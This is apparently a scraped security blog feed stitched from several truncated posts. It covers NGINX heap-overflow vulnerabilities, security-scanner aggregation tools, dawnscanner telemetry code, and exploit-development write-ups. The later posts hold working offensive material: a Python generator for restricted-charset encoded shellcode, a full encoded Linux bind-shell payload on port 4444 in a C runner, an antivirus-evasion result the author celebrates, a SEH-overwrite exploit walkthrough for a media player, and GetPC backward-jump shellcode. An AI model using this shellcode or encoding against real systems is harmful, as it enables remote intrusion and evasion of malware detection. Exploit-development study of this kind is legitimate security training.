That is precisely why the recent disclosure of NGINX Rift and the follow-up NGINX PoolSlip vulnerabilities should worry defenders far beyond the usual patch cycle.
What started as a critical heap overflow buried in the rewrite engine quickly evolved into something much larger: a reminder that memory-unsafe infrastructure software can become a single point of systemic Internet risk.
Researchers disclosed CVE-2026-42945, nicknamed NGINX Rift, a critical heap buffer overflow affecting the ngx_http_rewrite_module.
The flaw reportedly existed in the codebase since 2008.
Affected versions included:
0.6.27 → 1.30.0R32 → R36The vulnerability is triggered through specific rewrite configurations involving:
$1, $2)?Under the right conditions, attackers could achieve:
without authentication.
The frightening part was not just the bug itself.
It was where the bug lived.
NGINX rewrite logic sits directly on the edge of infrastructure:
In many environments, rewrite rules are treated as harmless operational plumbing.
In reality, they became an Internet-facing attack surface capable of memory corruption.
Even worse, exploitation was reportedly achievable through ordinary HTTP requests.
The vulnerability allowed crafted requests to manipulate heap memory inside internal NGINX request structures.
In practical terms:
That turns a reverse proxy into a potential RCE primitive.
As administrators rushed to patch Rift, a second issue emerged:
NGINX PoolSlip
PoolSlip targets NGINX request memory pools (ngx_pool_t) and explores a different exploitation path in the memory allocator and cleanup chain.
The key concern is architectural:
Fixing one memory corruption path did not eliminate the underlying unsafe design patterns.
PoolSlip reportedly enables:
through alternative rewrite-driven execution flows.
These vulnerabilities expose a broader truth:
Modern Internet infrastructure still relies heavily on memory-unsafe C code.
NGINX is fast because of:
But these same decisions create long-lived attack surfaces that are extremely difficult to eliminate completely.
Configuration is code.
Rewrite rules are not harmless routing logic — they are part of the execution surface.
Risky patterns include:
rewrite ^/user/(.*)$ /profile.php?id=$1?;
set $target $1;
Regex capture groups and variable interpolation can turn configuration into a memory corruption trigger.
Apply vendor patches for your NGINX distribution or fork.
Look for:
Move routing logic out of NGINX when possible.
Watch for:
NGINX became critical infrastructure because it is fast and flexible.
But flexibility built on unsafe memory handling comes at a cost.
Rift exposed how rewrite logic can become a corruption surface. PoolSlip showed how quickly adjacent paths emerge.
The lesson is simple:
]]>The edge is not just traffic routing anymore. It is executable infrastructure.
What’s hard is making sense of their output.
If you’ve ever tried combining results from multiple scanners, you already know the problem:
duplicated findings inconsistent severity models noisy reports no clear way to prioritize risk
Signal Engine 0.3.0 is a step toward fixing that.
Not by adding more scanners — but by turning raw findings into something you can actually reason about.
At the core of this release is one fundamental change: signal engine now speaks SARIF natively.
This means it can ingest results from tools like:
All normalized into a consistent internal model.
Different tools. Different formats. One pipeline.
Running multiple tools usually creates overlap. Same issue. Slightly different location. Different tool.
Before 0.3.0, that noise was your problem. Now it’s handled by the engine.
A new dedup command introduces proximity-based deduplication, powered by a
clustering algorithm that groups findings within a configurable line threshold.
This is not string matching. This is context-aware deduplication.
Because in real codebases, the same vulnerability rarely appears exactly on the same line.
The new smart_cluster algorithm changes how findings are interpreted.
Instead of treating each issue as isolated, Signal Engine groups them into clusters of related risk.
This enables:
It’s the difference between:
“You have 37 issues”
and
“You have 3 risky zones in your codebase”
One of the most important additions in this release is the hotspots command.
It introduces a simple but powerful idea: risk is not just severity; it’s density.
Signal Engine now calculates a risk score per 1000 lines of code, combining:
This surfaces the areas where:
Not all files are equal. Now you can see which ones matter.
Severity is no longer just a label.
It’s now part of a weighted scoring model:
This feeds directly into hotspot detection and analytics. A single critical issue is not the same as ten informational warnings, and your tooling should reflect that.
Real-world tool output is messy.
This release improves ingestion across the board:
runs[])In short: less preprocessing, more analysis.
Signal Engine is still a CLI tool — but now it’s one you actually want to use.
The goal wasn’t aesthetics. It was readability under pressure.
A lot changed to support this direction:
Less duplication. More coherence.
Signal Engine is evolving toward a clear goal: make multi-tool security analysis understandable.
Not louder. Not bigger. Sharper.
]]>Modern application security is no longer about running a single scanner.
It’s about coordinating multiple engines, covering different ecosystems, and extracting consistent signals from heterogeneous outputs.
That coordination problem is what led to the creation of Soak.
Soak is a zero-dependency Docker image that aggregates a curated set of open-source security scanners into a single, reproducible execution environment.
Its purpose is simple:
Provide deep-tissue static analysis through a unified, containerized execution layer.
ecurity scanners are powerful — but fragmented.
Each tool:
Managing multiple scanners across local development, CI, and production becomes operationally expensive.
If your execution layer is unstable, everything built on top of it becomes unreliable.
Soak removes that instability.
Soak is:
It is intentionally:
If you have Docker, you can run Soak. Nothing else is required.
Soak performs what we call deep-tissue static analysis.
Instead of running one scanner, it:
This provides multi-layer visibility across:
All from a single execution context.
Soak bundles a broad range of open-source tools across ecosystems:
This provides horizontal coverage across application, dependencies, configuration, and container layers.
Soak follows a clear internal structure:
Detection Layer - Identifies project language and ecosystem metadata.
Execution Layer - Runs relevant scanners inside the container in isolation.
Aggregation Layer - Collects raw JSON outputs and produces soak_summary.json.
This separation allows Soak to act as a pure execution component that can integrate seamlessly with higher-level orchestration systems.
Running Soak is intentionally simple:
soak /home/user/my-awesome-project
Behind the scenes, the container mounts the target repository, performs detection, executes scanners, and writes a structured summary file.
Because the entire runtime is containerized:
This dramatically reduces environmental inconsistencies.
Within the ArmoredCode ecosystem, Soak serves as the execution layer behind Signal-Engine.
The architectural separation is deliberate:
Soak does not:
It generates structured, multi-engine signals.
Signal-Engine transforms those signals into intelligence.
Many scanners provide official Docker images.
However, using them independently introduces:
Soak centralizes the contract.
Instead of managing N scanner containers, orchestration systems interact with one unified execution environment.
This reduces complexity and increases control.
Soak executes scanners against potentially untrusted code.
Therefore:
Execution should not increase the attack surface.
Isolation is a design principle, not an afterthought.
Security analysis at scale requires architectural discipline.
Execution, ingestion, correlation, and scoring must be separated.
Soak exists to make the execution layer:
It provides deep-tissue static analysis through a single, consistent interface.
And in a fragmented scanner ecosystem, consistency is power.
]]>Turning security tool outputs into actionable insights is one of the biggest challenges for developers and security engineers. In this post, I’m sharing a minimal viable product (MVP) that takes Semgrep scan outputs and visualizes: top rules, the most affected files, and clusters of related findings.
This MVP is just the start. The ultimate goal is a full tool, I will call it Signal Engine, that can:
The demo shows a minimal but immediately usable implementation of this approach.
If you want to explore this workflow with your own Semgrep outputs, this MVP provides a fast way to see patterns, prioritize rules, and focus on what really matters in your code security scans.
The code is AGPLv3 licensed and released here: https://github.com/thesp0nge/mvp_semgrep
]]>Not all vulnerabilities are created equal. A SQL Injection in an internal endpoint is not the same as a remote code execution exposed publicly. Yet, reports often treat them as equivalent, highlighting all “critical” issues with the same weight. The result? Security teams waste time chasing false alarms or low-impact issues, while the real threats remain in the shadows.
Every scanner produces false positives. Some are obvious, others less so. When a team is flooded with alerts, the tendency is either to ignore them all or blindly trust what the tool labels as “critical.” This approach is dangerous: the real risk isn’t just missing vulnerabilities—it’s failing to understand which ones actually matter.
This is where humans come in: they are not tools, but interpreters. A security advocate understands the business context, knows the system architecture, and can assess the real impact of a vulnerability. With this knowledge, they can prioritize effectively and turn a confusing list of alerts into a concrete, actionable mitigation plan.
AI can help reduce noise, group similar alerts, and suggest priorities. But without human judgment, even the smartest algorithm is just a calculator without context. Real power comes from the combination: intelligent tools and equally intelligent people.
Tools are useful, but they don’t replace human understanding. To truly protect our applications, we must read between the lines of reports, understand context, and put humans at the center of the security process.
The next step? We’ll explore how to optimize tool usage without being fooled by noise, and how to build smarter, more conscious security pipelines.
]]>I’ve seen teams spend weeks chasing false positives, patching things that weren’t critical, while the real vulnerabilities quietly slipped through the cracks.
Here’s the hard truth:
This isn’t just frustration—it’s a failure in how we communicate security.
Over the coming weeks, I’ll share ways to focus on the signals that truly matter, how to aggregate, contextualize, and act on security findings, and why most “tools” fail to do that.
If you care about fixing the right problems, follow Armored Code. The goal isn’t just security—it’s effective security.
]]>This brilliant talk by @muts, lead us to get in touch with a new encoding technique. When you can’t directly write words on the stack, due to bad characters, you can eventually let a register to contained the desired word and then push the register into the stack.
As you can see from the video taken at Defcon 16, the code exploits the fact that after the shellcode it has been written into the stack, very close to the encoded payload, the execution flow continues until the decoded shellcode it has been found.
Boom.
All the magic happens in two different pieces.
We can’t use XOR to init a register to zero. So we use math here and some AND property to apply to reset all bits in our register.
On shellerate I created a zero_with_and routine. The basic idea is to get a random 32 bits value, calculating its NOT and then build the shellcode. When the register it has been put in AND with those two values, it will be set to zero.
def zero_with_and(reg="eax", badchar=[]):
while True:
first_and = secrets.token_hex(4)
n_b = bin(int(first_and, 16))
n_b_2 = bit_not(int(n_b, 2), 32)
if n_b_2 > 0:
break
second_and = format(n_b_2, 'x').zfill(8)
logging.debug("First AND: %s" % first_and)
logging.debug("Second AND: %s" % second_and)
first_and_hex = strings.from_string_to_payload(strings.swap(first_and))
second_and_hex = strings.from_string_to_payload(strings.swap(second_and))
if reg == "eax":
return "\\x25"+first_and_hex+"\\x25"+second_and_hex
if reg == "ebx":
return "\\xb1\\xe3"+first_and_hex+"\\xb1\\xe3"+second_and_hex
if reg == "ebx":
return "\\xb1\\xe3"+first_and_hex+"\\xb1\\xe3"+second_and_hex
if reg == "ecx":
return "\\xb1\\xe1"+first_and_hex+"\\xb1\\xe1"+second_and_hex
if reg == "edx":
return "\\xb1\\xe2"+first_and_hex+"\\xb1\\xe2"+second_and_hexWe can’t write a word on the stack because of a restricted alphabet. We will get rid of this by calculating the two-complement of the word we want to write and by finding 2 or 3 values that when added will result in our word’s complement.
Those values will be subtracted from EAX register, after it has been set to 0. At the end, EAX will be set to the desired word and it can be pushed into the stack.
def generate_add_eax_sum_shellcode(result):
compl_two = int("FFFFFFFF", 16) - int(result, 16) + 1
c = find_encoded_sequence(compl_two)
c2_h = "0x{:08x}".format(compl_two)
f = ["".join(["{:02x}".format(j) for j in list(i)]) for i in zip(*c[::-1])]
f_sum = "0x{:08x}".format(sum([int(i, 16) for i in f]) % (2**32))
if (c2_h != f_sum):
logging.warning("can't find a good encoded sequence using 2 operands... trying with 3")
c = find_encoded_sequence(compl_two, True)
f = ["".join(["{:02x}".format(j) for j in list(i)]) for i in zip(*c[::-1])]
f_sum = "0x{:08x}".format(sum([int(i, 16) for i in f]) % (2**32))
if(c2_h != f_sum):
logging.error("can't find a good encoded sequence. Please consider changing this shellcode sequence" + result)
return ""
logging.debug("obtaining 0x{0} with this ASM sequence".format(result))
for i in ("554e4d4a", "2a313235"):
logging.debug("AND EAX, 0x{0}".format(i))
for j in f:
logging.debug("SUB EAX, 0x{0}".format(j))
logging.debug("PUSH EAX")
shellcode = asm_x86.zero_with_and("eax")
for i in f:
shellcode += "\\x2d" + strings.from_string_to_payload(strings.swap(i))
shellcode+="\\x50"
return shellcodeThe whole generate.py source code is available on this gist.
This can be a really good shellcode encoding mechanism. That’s why I automated this process and integrated it with shellerate.
I asked my framework to generate a bind shell shellcode for Linux operating system. The shell will listen on port 4444 for incoming connections.
Than I padded my shellcode, since I want to operate on 4 bytes long words and I splitted my shellcode into words.
I encoded all the words using a restricted allowed charset alphabet and I eventually appended a jump ESP call in order to use my shellcode in a C helper like this:
#include<stdio.h>
#include<string.h>
unsigned char code[]="\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x54\x58\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x02\x01\x01\x01\x2d\x7e\x6e\x6e\x6e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x32\x01\x01\x36\x2d\x7e\x01\x75\x7e\x2d\x7e\x4c\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x01\x01\x01\x2d\x6e\x4e\x01\x4f\x2d\x7e\x7e\x34\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x01\x2d\x6d\x65\x60\x75\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x52\x2d\x5c\x66\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x32\x31\x52\x52\x2d\x7e\x66\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x09\x01\x50\x01\x2d\x7e\x05\x7e\x3e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x43\x01\x01\x38\x2d\x7e\x31\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x02\x01\x01\x01\x2d\x7e\x4f\x01\x01\x2d\x7e\x7e\x3d\x4d\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x50\x01\x01\x2d\x3c\x7e\x35\x4d\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x35\x01\x01\x2d\x6f\x7e\x01\x01\x2d\x7e\x7e\x7c\x74\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x36\x01\x31\x01\x2d\x7e\x01\x6f\x01\x2d\x7e\x73\x7e\x73\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x01\x01\x2d\x31\x7e\x31\x01\x2d\x62\x7e\x7c\x74\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x36\x01\x2d\x31\x7e\x7e\x01\x2d\x63\x7e\x7e\x7c\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x50\x01\x2d\x32\x7e\x7e\x35\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x31\x01\x01\x2d\x01\x6f\x01\x70\x2d\x75\x7e\x4a\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x31\x31\x31\x7e\x2d\x72\x67\x63\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x70\x2d\x7e\x68\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x01\x01\x2d\x31\x7e\x4f\x01\x2d\x65\x7e\x7e\x34\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x32\x7e\x75\x3b\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x02\x2d\x01\x7e\x01\x7e\x2d\x4b\x7e\x4c\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x02\x2d\x31\x01\x31\x7e\x2d\x68\x45\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x76\x3d\x75\x3c\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x01\x01\x2d\x7e\x3e\x75\x3b\x50\xff\xe4";
int main(int argc, char **argv)
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}Please note that I wrote my shellcode in a reverse order, from the last word to the first. This way, since the stack is growing backwards, the ESP register will point to the beginning of my decoded shellcode at the end of the process.
You can see the process in action here. As you can see, the shellcode is working and a bind shellcode was listening on port 4444.
What about anti virus tool then? I submitted my a.out file to Virus Total and only 3 engines out of 58 detected my encoded shellcode: pretty sweet result.
Next steps will be:
On boot, dawnscanner will check if it has a unique identifier and if not it will ask for one to the telemetry system.
get '/new' do
i = Id.new
i.uuid = Id.get_new_id
i.save
content_type :json
{:uuid => i.uuid }.to_json
endId is an ActiveRecord class for the identifier model.
require 'securerandom'
class Id < ActiveRecord::Base
def self.get_new_id
return SecureRandom.uuid
end
endThe initialization part happens in the Dawn::Cli class.
$telemetry_url = $config[:telemetry][:endpoint] if $config[:telemetry][:enabled]
debug_me("telemetry url is " + $telemetry_url) unless @telemetry_url.nil?
$telemetry_id = $config[:telemetry][:id] if $config[:telemetry][:enabled]
debug_me("telemetry id is " + $telemetry_id) unless @telemetry_id.nil?
$logger.info("telemetry is disabled in config file") unless $config[:telemetry][:enabled]The real magic is in the Dawn::Engine class. Here we’ve got a telemetry method that do all the stuff.
The basic idea is to do a post on a URL posting the unique dawnscanner identifier (that is also the URL where the post is made), the IP address and the knowledge base version.
def have_a_telemetry_id?
debug_me ($telemetry_id != "" and ! $telemetry_id.nil?)
return ($telemetry_id != "" and ! $telemetry_id.nil?)
end
def get_a_telemetry_id
return "" if ($telemetry_url == "" or $telemetry_url.nil?)
debug_me("T: " + $telemetry_url)
url = URI.parse($telemetry_url+"/new")
res = Net::HTTP.get_response(url)
return "" unless res.code.to_i == 200
return JSON.parse(res.body)["uuid"]
end
def telemetry
unless have_a_telemetry_id?
$telemetry_id = get_a_telemetry_id
$config[:telemetry][:id] = $telemetry_id
debug_me($config)
debug_me("saving config to " + $config_name)
File.open($config_name, 'w') { |f| f.write $config.to_yaml }
end
debug_me("Telemetry ID is: " + $telemetry_id)
uri=URI.parse($telemetry_url+"/"+$telemetry_id)
header = {'Content-Type': 'text/json'}
tele = { "kb_version" => Dawn::KnowledgeBase::VERSION ,
"ip" => Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address,
"message"=> Dawn::KnowledgeBase
}
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Post.new(uri.request_uri, header)
request.body = tele.to_json
response=http.request(request)
debug_me(response.inspect)
return true
endThat’s it. No personal data apart from your IP is sent to dawnscanner servers. On backend side, I implemented a simple Sinatra post catcher block of code, saving the data on a SQLite3 database.
post '/:uuid' do
request.body.rewind
@request_payload = JSON.parse request.body.read
i = Id.find_by("uuid", params['uuid'].to_s)
unless i.nil?
l=Log.new
l.uuid = params['uuid'].to_s
l.ip=@request_payload['ip']
l.kb_version=@request_payload['kb_version']
l.message=@request_payload['message']
l.save
end
endThis very basic telemetry system needs tons of improvements and, of course, it’s opensource code hosted on Github.com.
Enjoy it!
]]>My standard routine those days is the following:
Since the DEP bypass is out of the scope of the “Cracking the perimeter” course, I won’t deal with it by now.
I was working on the CVE-2018-9128 vulnerability that is about a buffer overflow for DVD X Player Standard 5.5.3.9 it can be exploited with a carefully crafted playlist file.
EDB-ID 44438 describes how to overwrite SEH structure in a very standard way to obtain an arbitrary code execution. This code was designed to attack Windows XP SP3 operating system for x86 architecture.
For my preparation, I’m using a VirtualBox Microsoft Windows 7 SP1 for x86 architecture virtual machin, with both DEP and ASLR disabled.
I installed the vulnerable package from the vendor website and I started writing the exploit from scratch from the very beginning:
Here it was where I found something blocking. One of the few usable POP-POP-RET sequences was available at 0x00401838 since all other ones were in modules with SAFESEH enabled. Obviously, I can’t write a NULL character in my payload since it would break the whole string written into the evil playlist.
During my bad characters hunting I found that 0x1a would turn into 0x00 so I can use a bad character to obtain the requested null byte. As side effect, I couldn’t write any further bytes into memory from this position onwards.
All my exploitation chain would relay on backward jumps. My next SEH address, which it was executed right after my POP-POP-RET sequence, brings the code back to a big 400 bytes backward jump.
The jump brings the EIP into my NOP sled and eventually to my reverse shell payload.
So, this funny exercise that it was apparently trivial to executed, lead me to have my first exploit to be published on exploit-db and it will teach me a different way to write a SEH exploit payload.
Enjoy it!
]]>The more reliable technique to jump back is to use an egghunter. You split your shellcode into stages: in the first stage you write an egghunter shellcode that searches into the memory for the second stage payload, that it is the code you want to executed prepended by your egg.
However, under some circumstances, you may want to execute a jump back into your shellcode.
This old but gold phrack article describes some very handy assembly code snippets when writing shellcode for Microsoft Windows.
Here you can find the idea about using FPU state saving instructions to have the EIP value to be written on the stack.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nopFLDZ instruction pushes a 0 on the FPU register stack and the FNSTENV stores the FPU environment to the address given as parameter,
Executing a “fnstenv [esp]” instruction, the result on the stack is the following.
gdb-peda$ x/30x $esp
0xffffd600: 0x7f 0x03 0xff 0xff 0x00 0x38 0xff 0xff
0xffffd608: 0xff 0x7f 0xff 0xff 0x82 0x80 0x04 0x08
0xffffd610: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd618: 0x00 0x00 0xff 0xff 0xe9 0xd7If we want to align the information about the EIP (0x08048082 in my case) to be found at the very beginning of the stack, we kindly ask FNSTENV to start writing 12 bytes before the $ESP value, that’s the reason of “fnstenv [esp-12]”.
We than pop the stack word into ECX storing the value the EIP register has when fnstenv it was called. Then, I choose to add 9 bytes to move ECX value to the instruction right after the NOP.
In order to execute a jump, we decrement CH register (the most significant 8 bits of the CX register, the 16 bits representation of ECX. This will subtract 256 on the whole ECX value, that means this technique allow us to jump backwards in steps of 256 bytes.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
dec ch
dec ch
jmp ecxSee the code in action on gdb.
Today I added those two shellcodes in shellerate project.
def get_where_am_i_in_ecx():
# fldz
# fnstenv [esp-12]
# pop ecx
# add cl, 9
return "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x09"
# jumps is how many 256 bytes backword jump you want to take
def jmp_backwards_ecx(jumps=1):
return get_where_am_i_in_ecx() + "\xfe\xcd" * jumps + "\xff\xe1"Please note again that using egghunter is more reliable but it can take some time in order to loop into victim memory searching for the payload. Anyway, this technique can be used if you’re pretty sure about the fixed amount of space you can backward skip, e.g. it can be safetly used in a SEH overwrite exploitation.
Enjoy it!
]]>